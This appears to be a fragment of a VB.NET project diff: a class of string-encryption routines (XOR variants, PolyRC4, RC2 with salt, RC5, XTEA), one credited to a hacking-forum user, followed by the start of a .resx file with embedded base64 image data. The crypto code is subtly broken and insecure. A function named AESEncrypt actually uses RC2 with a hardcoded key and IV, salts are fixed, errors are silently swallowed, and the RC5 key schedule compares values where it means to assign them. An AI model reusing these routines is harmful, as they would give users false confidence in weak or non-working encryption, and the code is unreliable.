Return ReturnBuffer
|
||||
End Function
|
||||
'A Positive Mod 256. This will prevent a non byte value. the result is always >= 0 and <= 255
|
||||
Private Function ModuloByte(ByVal MyByte As Byte, ByVal Addition As Int16) As Byte
|
||||
While Addition < Convert.ToInt32(0, 2)
|
||||
'
|
||||
Addition += Convert.ToInt32(100000000, 2)
|
||||
End While
|
||||
Return Convert.ToByte((MyByte + Addition) Mod Convert.ToInt32(100000000, 2))
|
||||
End Function
|
||||
'Xor Encryption.
|
||||
Private Function XorCrypt(ByVal Data() As Byte, ByVal Key() As Byte) As Byte()
|
||||
If Key.Length <> 0 Then
|
||||
For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2)
|
||||
Data(i) = Data(i) Xor ModuloByte(Key(i Mod Key.Length), [Key](Key(i Mod Key.Length) Mod Key.Length)) Xor [Key](((i + (i Mod Convert.ToInt32(111, 2))) Mod Key.Length) Mod Key.Length)
|
||||
Next
|
||||
End If
|
||||
Return Data
|
||||
End Function
|
||||
Public Function XorCrypt(ByVal Data As String, ByVal Key As String) As String
|
||||
Return Encoding.Default.GetString(XorCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key)))
|
||||
End Function
|
||||
End Class
|
||||
Public Class StairsEncryption
|
||||
'Simple encryption for use
|
||||
'coded by Miharbi-Dono from HF.
|
||||
'Give Credits. don't just delete this comment, it won't hurt.
|
||||
Public Shared Function Crypt(ByVal Data As String, ByVal key As String) As String
|
||||
Return Encoding.Default.GetString(Crypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(key)))
|
||||
End Function
|
||||
Public Shared Function Crypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte()
|
||||
For i = 0 To Data.Length - 1
|
||||
Data(i) = CByte(CInt((Data(i)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor key(i Mod key.Length)
|
||||
Next
|
||||
Return Data
|
||||
End Function
|
||||
Public Shared Function DeCrypt(ByVal Data As String, ByVal key As String) As String
|
||||
Return Encoding.Default.GetString(DeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(key)))
|
||||
End Function
|
||||
Public Shared Function DeCrypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte()
|
||||
For i = Data.Length - 1 To 0 Step -1
|
||||
Data(i) = CByte((CInt(Data(i) Xor key(i Mod key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256)
|
||||
Next
|
||||
Return Data
|
||||
End Function
|
||||
End Class
|
||||
Shared Function AESEncrypt(ByVal InputEncrypt As Byte())
|
||||
Using A As New System.Security.Cryptography.RC2CryptoServiceProvider
|
||||
A.IV = New Byte() {8, 7, 6, 5, 4, 3, 2, 1}
|
||||
A.Key = New Byte() {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5}
|
||||
Return A.CreateEncryptor.TransformFinalBlock(InputEncrypt, 0, InputEncrypt.Length)
|
||||
End Using
|
||||
End Function
|
||||
Public Shared Function RijndaelDecrypt(ByVal Decrypt As String, ByVal Key As String)
|
||||
|
||||
Dim oAesProvider As New RijndaelManaged
|
||||
|
||||
Dim btCipher() As Byte
|
||||
|
||||
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
|
||||
|
||||
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
|
||||
|
||||
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
|
||||
|
||||
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
|
||||
|
||||
Dim ms As New IO.MemoryStream
|
||||
|
||||
Dim cs As New CryptoStream(ms, oAesProvider.CreateDecryptor(), CryptoStreamMode.Write)
|
||||
|
||||
Try
|
||||
|
||||
btCipher = Convert.FromBase64String(Decrypt)
|
||||
|
||||
cs.Write(btCipher, 0, btCipher.Length)
|
||||
|
||||
cs.Close()
|
||||
|
||||
Decrypt = System.Text.Encoding.UTF8.GetString(ms.ToArray)
|
||||
|
||||
Catch
|
||||
|
||||
End Try
|
||||
|
||||
Return Decrypt
|
||||
|
||||
End Function
|
||||
|
||||
Public Class PolyRC4
|
||||
|
||||
Private Key As String = "sad87x6zucigedsjfguycxtiu4e75689374-w24098sdfhj-324iuysdjfbhsdjf"
|
||||
|
||||
Sub New(ByVal EncryptionKey As String)
|
||||
|
||||
Key = EncryptionKey
|
||||
|
||||
End Sub
|
||||
|
||||
Public Function Encrypt(ByVal message As String) As String
|
||||
|
||||
message = XX(message, Key)
|
||||
|
||||
Dim random As New Random()
|
||||
|
||||
Dim list1 As New ArrayList(), list2 As New ArrayList()
|
||||
|
||||
Dim out As String = ""
|
||||
|
||||
Dim num1 As Integer = random.[Next](1, 10255)
|
||||
|
||||
For i As Integer = 0 To message.Length - 1
|
||||
|
||||
Dim num2 As Integer = random.[Next](num1) '(&H7A) + &H44
|
||||
|
||||
list1.Add(Convert.ToInt32(message(i)) + num2)
|
||||
|
||||
list2.Add(num2)
|
||||
|
||||
Next
|
||||
|
||||
For j As Integer = 0 To message.Length - 1
|
||||
|
||||
out += ChrW(list1(j)) & ChrW(list2(j))
|
||||
|
||||
Next
|
||||
|
||||
Return out
|
||||
|
||||
End Function
|
||||
|
||||
Public Function Decrypt(ByVal message As String) As String
|
||||
|
||||
Dim numArray As Integer() = New Integer(message.Length - 1) {}
|
||||
|
||||
Dim temp As String = ""
|
||||
|
||||
For i As Integer = 0 To message.Length - 1
|
||||
|
||||
numArray(i) = Convert.ToInt32(message(i))
|
||||
|
||||
Next
|
||||
|
||||
For j As Integer = 0 To message.Length - 1 Step 2
|
||||
|
||||
Dim num3 As Integer = numArray(j)
|
||||
|
||||
Dim num4 As Integer = numArray(j + 1)
|
||||
|
||||
Dim num5 As Integer = num3 - num4
|
||||
|
||||
temp = temp + ChrW(num5)
|
||||
|
||||
Next
|
||||
|
||||
Return XX(temp, Key)
|
||||
|
||||
End Function
|
||||
|
||||
Public Shared Function XX(ByVal message As String, ByVal password As String) As String
|
||||
|
||||
Dim i As Integer = 0
|
||||
|
||||
Dim j As Integer = 0
|
||||
|
||||
Dim cipher As New StringBuilder
|
||||
|
||||
Dim returnCipher As String = String.Empty
|
||||
|
||||
Dim sbox As Integer() = New Integer(256) {}
|
||||
|
||||
Dim key As Integer() = New Integer(256) {}
|
||||
|
||||
Dim intLength As Integer = password.Length
|
||||
|
||||
Dim a As Integer = 0
|
||||
|
||||
While a <= 255
|
||||
|
||||
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
|
||||
|
||||
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
|
||||
|
||||
sbox(a) = a
|
||||
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
|
||||
End While
|
||||
|
||||
Dim x As Integer = 0
|
||||
|
||||
Dim b As Integer = 0
|
||||
|
||||
While b <= 255
|
||||
|
||||
x = (x + sbox(b) + key(b)) Mod 256
|
||||
|
||||
Dim tempSwap As Integer = sbox(b)
|
||||
|
||||
sbox(b) = sbox(x)
|
||||
|
||||
sbox(x) = tempSwap
|
||||
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
|
||||
|
||||
End While
|
||||
|
||||
a = 1
|
||||
|
||||
While a <= message.Length
|
||||
|
||||
Dim itmp As Integer = 0
|
||||
|
||||
i = (i + 1) Mod 256
|
||||
|
||||
j = (j + sbox(i)) Mod 256
|
||||
|
||||
itmp = sbox(i)
|
||||
|
||||
sbox(i) = sbox(j)
|
||||
|
||||
sbox(j) = itmp
|
||||
|
||||
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
|
||||
|
||||
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
|
||||
|
||||
itmp = Asc(ctmp)
|
||||
|
||||
Dim cipherby As Integer = itmp Xor k
|
||||
|
||||
cipher.Append(Chr(cipherby))
|
||||
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
|
||||
End While
|
||||
|
||||
returnCipher = cipher.ToString
|
||||
|
||||
cipher.Length = 0
|
||||
|
||||
Return returnCipher
|
||||
|
||||
End Function
|
||||
|
||||
End Class
|
||||
|
||||
Public Class RC2_With_Salt
|
||||
'This is a simple way to use salt in a encryption. I modified the RC2 encryption and made it work with salting.
|
||||
Private Shared key As Byte() 'To hold out secret encryption key!
|
||||
Private Shared RC2 As New RC2CryptoServiceProvider
|
||||
|
||||
Public Shared Function Encrypt(ByVal input As String, ByVal password As String, ByVal salt As String, ByVal length As Integer) As Byte() 'Encrypting function.
|
||||
Dim input_b As Byte() = System.Text.Encoding.Default.GetBytes(input) 'Get input bytes...
|
||||
Dim pass_b As Byte() = System.Text.Encoding.Default.GetBytes(password) 'Passsword bytes...
|
||||
Dim salt_b As Byte() = System.Text.Encoding.Default.GetBytes(salt) 'Geting our input salt bytes...
|
||||
key = Generate_key(pass_b, salt_b, length) 'Get our secret value out of password and salt, which we will use as your encryption key!
|
||||
Dim salt_to_add As Byte() = Generate_Salt(5) 'We will append our input bytes here....
|
||||
Dim input_salt As Byte() = Add_Salt(input_b, salt_to_add) 'Salt bytes + input bytes...
|
||||
Dim encrypted As Byte() = En(input_salt) 'Encrypt our bytes...
|
||||
Return encrypted 'Call our encrypt function... (this gives us encrypted "salt bytes + input bytes")
|
||||
End Function
|
||||
|
||||
Public Shared Function Decrypt(ByVal input As String) As Byte() 'Decrypting function.
|
||||
Dim input_salt As Byte() = System.Text.Encoding.Default.GetBytes(input) 'This is encrypted "Salt bytes + input bytes"...
|
||||
Dim decrypted As Byte() = De(input_salt) 'Decypts and now we are left with "Salt bytes + input bytes"...
|
||||
Dim input_b As Byte() = New Byte(decrypted.Length - 5 - 1) {} 'A new byte whose lenght is equal to "input_b" byte array(byte array of the original plain text)....
|
||||
Array.Copy(decrypted, 5, input_b, 0, decrypted.Length - 5) 'As I know my salt's length is 5 so I can get only the "input_b" from the "salt bytes + input bytes" ..
|
||||
Return input_b
|
||||
End Function
|
||||
|
||||
Public Shared Function Decrypt_with_salt(ByVal input As String) As Byte() 'Just to show you what is happening..xD
|
||||
Dim input_salt As Byte() = System.Text.Encoding.Default.GetBytes(input) 'This is encrypted "Salt bytes + input bytes"...
|
||||
Dim decrypted As Byte() = De(input_salt) 'Decypts and now we are left with "Salt bytes + input bytes"...
|
||||
Return decrypted
|
||||
End Function
|
||||
|
||||
#Region "Encrypting functions"
|
||||
Private Shared Function Generate_key(ByVal password As Byte(), ByVal salt As Byte(), ByVal length As Integer) As Byte()
|
||||
Dim key As New PasswordDeriveBytes(password, salt, "SHA1", 1)
|
||||
Dim out As Byte() = key.GetBytes(length)
|
||||
Return out
|
||||
End Function
|
||||
|
||||
Private Shared Function Generate_Salt(ByVal length As Integer) As Byte() 'Generates our random salt using my RNG function...
|
||||
Dim R As New RNGCryptoServiceProvider
|
||||
Dim out(length - 1) As Byte
|
||||
R.GetBytes(out)
|
||||
Return out
|
||||
End Function
|
||||
|
||||
Private Shared Function Add_Salt(ByVal input As Byte(), ByVal salt As Byte()) As Byte() 'Function to add our salt bytes to input bytes....
|
||||
Dim input_salt As Byte() = New Byte(input.Length + salt.Length - 1) {} 'To hold both input bytes and salt bytes...
|
||||
Array.Copy(salt, input_salt, salt.Length) 'Copying our salt bytes in "input_salt" array....
|
||||
Array.Copy(input, 0, input_salt, salt.Length, input.Length) 'Copying our input bytes too. So now we have "input_salt" as "salt bytes + input bytes"...
|
||||
Return input_salt 'This is salt bytes + input bytes....
|
||||
End Function
|
||||
#End Region
|
||||
|
||||
#Region "Main Encryption\Decryption functions"
|
||||
Public Shared Function En(ByVal input As Byte()) As Byte() 'Original function to encrypt with RC2.
|
||||
Dim Crypt As ICryptoTransform = RC2.CreateEncryptor(key, RC2.IV)
|
||||
Dim mem As New MemoryStream
|
||||
Dim crypto As New CryptoStream(mem, Crypt, CryptoStreamMode.Write)
|
||||
Dim out As Byte()
|
||||
crypto.Write(input, 0, input.Length)
|
||||
crypto.FlushFinalBlock()
|
||||
out = mem.ToArray
|
||||
Return out
|
||||
End Function
|
||||
|
||||
Public Shared Function De(ByVal input As Byte()) As Byte() 'Function to decrypt.
|
||||
Dim Crypt As ICryptoTransform = RC2.CreateDecryptor(key, RC2.IV)
|
||||
Dim mem As New MemoryStream(input)
|
||||
Dim crypto As New CryptoStream(mem, Crypt, CryptoStreamMode.Read)
|
||||
Dim out(input.Length - 1) As Byte
|
||||
crypto.Read(out, 0, input.Length)
|
||||
Return out
|
||||
End Function
|
||||
#End Region
|
||||
End Class
|
||||
Public Class Rc5
|
||||
Public Function Encrypt(ByVal input As String) As String
|
||||
Dim r1, r2 As UInteger
|
||||
Dim m1 As New IO.MemoryStream()
|
||||
Dim m2 As New IO.MemoryStream()
|
||||
|
||||
Dim input_b As Byte() = System.Text.Encoding.Default.GetBytes(input)
|
||||
m1.Write(input_b, 0, input_b.Length)
|
||||
m1.Seek(0, IO.SeekOrigin.Begin)
|
||||
|
||||
Dim br As New System.IO.BinaryReader(m1)
|
||||
Dim bw As New System.IO.BinaryWriter(m2)
|
||||
|
||||
Dim in_l As Long = input.Length
|
||||
While in_l > 0
|
||||
Try
|
||||
r1 = br.ReadUInt32()
|
||||
Try
|
||||
r2 = br.ReadUInt32()
|
||||
Catch
|
||||
r2 = 0
|
||||
End Try
|
||||
Catch
|
||||
r1 = 0 : r2 = 0
|
||||
End Try
|
||||
|
||||
Encode(r1, r2, rounds)
|
||||
bw.Write(r1)
|
||||
bw.Write(r2)
|
||||
|
||||
in_l -= 8
|
||||
End While
|
||||
|
||||
m2.Seek(0, IO.SeekOrigin.Begin)
|
||||
|
||||
Return System.Text.Encoding.Default.GetString(m2.ToArray())
|
||||
End Function
|
||||
|
||||
Public Function Decrypt(ByVal input As String) As String
|
||||
Dim r1, r2 As UInteger
|
||||
Dim m1, m2 As New IO.MemoryStream()
|
||||
|
||||
Dim input_b As Byte() = System.Text.Encoding.Default.GetBytes(input)
|
||||
m1.Write(input_b, 0, input_b.Length)
|
||||
m1.Seek(0, IO.SeekOrigin.Begin)
|
||||
|
||||
Dim br As New System.IO.BinaryReader(m1)
|
||||
Dim bw As New System.IO.BinaryWriter(m2)
|
||||
|
||||
Dim in_l As Long = input.Length
|
||||
|
||||
While in_l > 0
|
||||
Try
|
||||
r1 = br.ReadUInt32()
|
||||
r2 = br.ReadUInt32()
|
||||
Decode(r1, r2, rounds)
|
||||
|
||||
If Not (r1 = 0 AndAlso r2 = 0 AndAlso (in_l - 8 <= 0)) Then
|
||||
bw.Write(r1)
|
||||
bw.Write(r2)
|
||||
End If
|
||||
If r2 = 0 AndAlso (in_l - 8 <= 0) Then
|
||||
bw.Write(r1)
|
||||
End If
|
||||
in_l -= 8
|
||||
|
||||
Catch
|
||||
|
||||
End Try
|
||||
End While
|
||||
|
||||
m2.Seek(0, IO.SeekOrigin.Begin)
|
||||
Return System.Text.Encoding.Default.GetString(m2.ToArray())
|
||||
End Function
|
||||
|
||||
Private s As UInteger()
|
||||
Private l As UInteger()
|
||||
Private b As UInteger, u As UInteger, t As UInteger, c As UInteger
|
||||
Private key As Byte()
|
||||
Private rounds As Integer
|
||||
|
||||
Public Sub New(ByVal password As String, ByVal round As Integer)
|
||||
key = System.Text.Encoding.Default.GetBytes(password)
|
||||
rounds = round
|
||||
b = CUInt(key.Length)
|
||||
u = 4
|
||||
t = CUInt(2 * rounds + 2)
|
||||
c = Math.Max(b, 1) \ u
|
||||
s = New UInteger(2 * rounds + 1) {}
|
||||
l = New UInteger(key.Length - 1) {}
|
||||
|
||||
GenerateKey(key, rounds)
|
||||
End Sub
|
||||
|
||||
Private Function leftRotate(ByVal x As UInteger, ByVal offset As Integer) As UInteger
|
||||
Dim t1 As UInteger, t2 As UInteger
|
||||
t1 = x >> (32 - offset)
|
||||
t2 = x << offset
|
||||
Return t1 Or t2
|
||||
End Function
|
||||
|
||||
Private Function RightRotate(ByVal x As UInteger, ByVal offset As Integer) As UInteger
|
||||
Dim t1 As UInteger, t2 As UInteger
|
||||
t1 = x << (32 - offset)
|
||||
t2 = x >> offset
|
||||
Return t1 Or t2
|
||||
End Function
|
||||
|
||||
Private Sub Encode(ByRef r1 As UInteger, ByRef r2 As UInteger, ByVal rounds As Integer)
|
||||
r1 = r1 + s(0)
|
||||
r2 = r2 + s(1)
|
||||
For i As Integer = 1 To rounds
|
||||
r1 = leftRotate(r1 Xor r2, CInt(r2)) + s(2 * i)
|
||||
r2 = leftRotate(r2 Xor r1, CInt(r1)) + s(2 * i + 1)
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub Decode(ByRef r1 As UInteger, ByRef r2 As UInteger, ByVal rounds As Integer)
|
||||
For i As Integer = rounds To 1 Step -1
|
||||
r2 = (RightRotate(r2 - s(2 * i + 1), CInt(r1))) Xor r1
|
||||
r1 = (RightRotate(r1 - s(2 * i), CInt(r2))) Xor r2
|
||||
Next
|
||||
r2 = r2 - s(1)
|
||||
r1 = r1 - s(0)
|
||||
End Sub
|
||||
|
||||
Private Sub GenerateKey(ByVal key As Byte(), ByVal rounds As Integer)
|
||||
Dim P32 As UInteger = UInteger.Parse("b7e15163", System.Globalization.NumberStyles.HexNumber)
|
||||
Dim Q32 As UInteger = UInteger.Parse("9e3779b9", System.Globalization.NumberStyles.HexNumber)
|
||||
|
||||
For i As Integer = key.Length - 1 To 0 Step -1
|
||||
l(i) = leftRotate(CUInt(i), 8) + key(i)
|
||||
Next
|
||||
|
||||
s(0) = P32
|
||||
For i As Integer = 1 To t - 1
|
||||
s(i) = s(i - 1) + Q32
|
||||
Next
|
||||
|
||||
Dim ii As UInteger, jj As UInteger
|
||||
ii = 0 : jj = 0
|
||||
Dim x As UInteger, y As UInteger
|
||||
x = 0 : y = 0
|
||||
Dim v As UInteger = 3 * Math.Max(t, c)
|
||||
|
||||
For counter As Integer = 0 To v
|
||||
x = s(ii) = leftRotate((s(ii) + x + y), 3)
|
||||
y = l(jj) = leftRotate((l(jj) + x + y), CInt(x + y))
|
||||
ii = (ii + 1) Mod t
|
||||
jj = (jj + 1) Mod c
|
||||
Next
|
||||
End Sub
|
||||
End Class
|
||||
Public Class XTea
|
||||
Private Shared f_key As UInteger()
|
||||
|
||||
Public Shared Function Encrypt(ByVal input As String, ByVal Pass As String) As String
|
||||
|
||||
f_key = FormatKey(Pass)
|
||||
|
||||
If input.Length = 0 Then
|
||||
Throw New ArgumentException("Invalid input length!")
|
||||
End If
|
||||
|
||||
If input.Length Mod 2 <> 0 Then
|
||||
input += ControlChars.NullChar
|
||||
End If
|
||||
|
||||
Dim dataBytes As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
|
||||
|
||||
Dim cipher As String = String.Empty
|
||||
Dim tempData As UInteger() = New UInteger(1) {}
|
||||
For i As Integer = 0 To dataBytes.Length - 1 Step 2
|
||||
tempData(0) = dataBytes(i)
|
||||
tempData(1) = dataBytes(i + 1)
|
||||
code(tempData, f_key)
|
||||
cipher += ConvertUIntToString(tempData(0)) + ConvertUIntToString(tempData(1))
|
||||
Next
|
||||
|
||||
Return cipher
|
||||
End Function
|
||||
|
||||
Public Shared Function Decrypt(ByVal Data As String, ByVal Pass As String) As String
|
||||
f_key = FormatKey(Pass)
|
||||
Dim x As Integer = 0
|
||||
Dim tempData As UInteger() = New UInteger(1) {}
|
||||
Dim dataBytes As Byte() = New Byte((Data.Length \ 8) * 2 - 1) {}
|
||||
For i As Integer = 0 To Data.Length - 1 Step 8
|
||||
tempData(0) = ConvertStringToUInt(Data.Substring(i, 4))
|
||||
tempData(1) = ConvertStringToUInt(Data.Substring(i + 4, 4))
|
||||
decode(tempData, f_key)
|
||||
dataBytes(x) = CByte(tempData(0))
|
||||
x += 1
|
||||
dataBytes(x) = CByte(tempData(1))
|
||||
x += 1
|
||||
Next
|
||||
Dim decipheredString As String = System.Text.ASCIIEncoding.ASCII.GetString(dataBytes, 0, dataBytes.Length)
|
||||
If decipheredString(decipheredString.Length - 1) = ControlChars.NullChar Then
|
||||
decipheredString = decipheredString.Substring(0, decipheredString.Length - 1)
|
||||
End If
|
||||
Return decipheredString
|
||||
End Function
|
||||
|
||||
Private Shared Function FormatKey(ByVal Key As String) As UInteger()
|
||||
If Key.Length <= 5 Then
|
||||
Throw New ArgumentException("Key must be between 6 and 16 characters in length")
|
||||
End If
|
||||
|
||||
Key = Key.PadRight(16, " "c).Substring(0, 16)
|
||||
|
||||
Dim formattedKey As UInteger() = New UInteger(4) {}
|
||||
|
||||
Dim j As Integer = 0
|
||||
For i As Integer = 0 To Key.Length - 1 Step 4
|
||||
formattedKey(j) = ConvertStringToUInt(Key.Substring(i, 4))
|
||||
j += 1
|
||||
Next
|
||||
Return formattedKey
|
||||
End Function
|
||||
|
||||
Private Shared Sub code(ByVal v As UInteger(), ByVal k As UInteger())
|
||||
Dim y As UInteger = v(0)
|
||||
Dim z As UInteger = v(1)
|
||||
Dim sum As UInteger = 0
|
||||
Dim delta As UInteger = &H9E3779B9UI
|
||||
|
||||
For i = 0 To 31
|
||||
y += (z << 4 Xor z >> 5) + z Xor sum + k(sum And 3)
|
||||
sum += delta
|
||||
z += (y << 4 Xor y >> 5) + y Xor sum + k(sum >> 11 And 3)
|
||||
Next
|
||||
|
||||
v(0) = y
|
||||
v(1) = z
|
||||
End Sub
|
||||
|
||||
Private Shared Sub decode(ByVal v As UInteger(), ByVal k As UInteger())
|
||||
Dim y As UInteger = v(0)
|
||||
Dim z As UInteger = v(1)
|
||||
Dim sum As UInteger = &HC6EF3720UI
|
||||
Dim delta As UInteger = &H9E3779B9UI
|
||||
|
||||
For i = 0 To 31
|
||||
z -= (y << 4 Xor y >> 5) + y Xor sum + k(sum >> 11 And 3)
|
||||
sum -= delta
|
||||
y -= (z << 4 Xor z >> 5) + z Xor sum + k(sum And 3)
|
||||
Next
|
||||
|
||||
v(0) = y
|
||||
v(1) = z
|
||||
End Sub
|
||||
|
||||
Private Shared Function ConvertStringToUInt(ByVal Input As String) As System.UInt32
|
||||
Dim output As UInt32
|
||||
output = Convert.ToUInt32(Input(0))
|
||||
output += (Convert.ToUInt32(Input(1)) << 8)
|
||||
output += (Convert.ToUInt32(Input(2)) << 16)
|
||||
output += (Convert.ToUInt32(Input(3)) << 24)
|
||||
Return output
|
||||
End Function
|
||||
Private Shared Function ConvertUIntToString(ByVal Input As System.UInt32) As String
|
||||
Dim output As New System.Text.StringBuilder()
|
||||
output.Append(Convert.ToChar(Input And &HFF))
|
||||
output.Append(Convert.ToChar((Input >> 8) And &HFF))
|
||||
output.Append(Convert.ToChar((Input >> 16) And &HFF))
|
||||
output.Append(Convert.ToChar((Input >> 24) And &HFF))
|
||||
Return output.ToString()
|
||||
End Function
|
||||
|
||||
End Class
|
||||
End Class
|
||||
+2784
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,390 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<metadata name="ImageList1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<value>17, 17</value>
|
||||
</metadata>
|
||||
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||
<data name="PictureBox1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
iVBORw0KGgoAAAANSUhEUgAAASQAAABLCAYAAADZLPrXAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAACH
|
||||
DwAAjA8AAP1SAACBQAAAfXkAAOmLAAA85QAAGcxzPIV3AAAKOWlDQ1BQaG90b3Nob3AgSUNDIHByb2Zp
|
||||
bGUAAEjHnZZ3VFTXFofPvXd6oc0wAlKG3rvAANJ7k15FYZgZYCgDDjM0sSGiAhFFRJoiSFDEgNFQJFZE
|
||||
sRAUVLAHJAgoMRhFVCxvRtaLrqy89/Ly++Osb+2z97n77L3PWhcAkqcvl5cGSwGQyhPwgzyc6RGRUXTs
|
||||
AIABHmCAKQBMVka6X7B7CBDJy82FniFyAl8EAfB6WLwCcNPQM4BOB/+fpFnpfIHomAARm7M5GSwRF4g4
|
||||
JUuQLrbPipgalyxmGCVmvihBEcuJOWGRDT77LLKjmNmpPLaIxTmns1PZYu4V8bZMIUfEiK+ICzO5nCwR
|
||||
